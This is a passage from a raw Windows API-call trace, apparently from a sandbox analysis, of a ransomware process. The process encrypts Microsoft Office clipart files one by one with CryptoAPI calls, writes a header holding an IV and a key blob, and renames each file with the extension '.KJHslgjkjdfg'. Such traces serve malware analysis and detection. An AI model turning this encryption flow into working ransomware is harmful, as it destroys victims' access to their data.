ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0205.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.486] GetProcessHeap () returned 0x2ef0000 [0205.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.487] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.487] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.488] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.488] GetProcessHeap () returned 0x2ef0000 [0205.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.488] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.488] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.488] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.489] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.489] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3854, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3854, lpOverlapped=0x0) returned 1 [0205.490] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3860, dwBufLen=0x3860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3860) returned 1 [0205.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.491] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3860, lpOverlapped=0x0) returned 1 [0205.491] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.491] SetEndOfFile (hFile=0x130) returned 1 [0205.493] GetProcessHeap () returned 0x2ef0000 [0205.493] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.493] GetProcessHeap () returned 0x2ef0000 [0205.493] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.kjhslgjkjdfg")) returned 1 [0205.495] CloseHandle (hObject=0x130) returned 1 [0205.495] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0205.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.496] GetProcessHeap () returned 0x2ef0000 [0205.496] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.496] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.496] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.498] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.498] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.498] GetProcessHeap () returned 0x2ef0000 [0205.498] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.498] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.498] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.499] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.499] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.499] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.499] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.499] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.499] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.499] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.499] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2e88, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2e88, lpOverlapped=0x0) returned 1 [0205.500] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e90, dwBufLen=0x2e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e90) returned 1 [0205.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.501] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2e90, lpOverlapped=0x0) returned 1 [0205.501] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.501] SetEndOfFile (hFile=0x130) returned 1 [0205.504] GetProcessHeap () returned 0x2ef0000 [0205.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.504] GetProcessHeap () returned 0x2ef0000 [0205.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.kjhslgjkjdfg")) returned 1 [0205.505] CloseHandle (hObject=0x130) returned 1 [0205.505] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0205.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.506] GetProcessHeap () returned 0x2ef0000 [0205.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.506] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.507] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0205.509] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.509] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.509] GetProcessHeap () returned 0x2ef0000 [0205.509] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.509] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.509] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.510] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.510] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.510] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.510] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.510] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.510] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.510] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30f2, lpOverlapped=0x0) returned 1 [0205.511] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3100, dwBufLen=0x3100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3100) returned 1 [0205.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.512] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3100, lpOverlapped=0x0) returned 1 [0205.512] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.512] SetEndOfFile (hFile=0x130) returned 1 [0205.515] GetProcessHeap () returned 0x2ef0000 [0205.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.515] GetProcessHeap () returned 0x2ef0000 [0205.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.kjhslgjkjdfg")) returned 1 [0205.516] CloseHandle (hObject=0x130) returned 1 [0205.516] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0205.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.518] GetProcessHeap () returned 0x2ef0000 [0205.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0205.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.520] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.520] GetProcessHeap () returned 0x2ef0000 [0205.520] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.520] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.520] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.521] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.521] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3c9e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3c9e, lpOverlapped=0x0) returned 1 [0205.522] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ca0) returned 1 [0205.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.522] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ca0, lpOverlapped=0x0) returned 1 [0205.523] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.523] SetEndOfFile (hFile=0x130) returned 1 [0205.525] GetProcessHeap () returned 0x2ef0000 [0205.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.525] GetProcessHeap () returned 0x2ef0000 [0205.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.kjhslgjkjdfg")) returned 1 [0205.527] CloseHandle (hObject=0x130) returned 1 [0205.527] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0205.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.529] GetProcessHeap () returned 0x2ef0000 [0205.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.529] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: 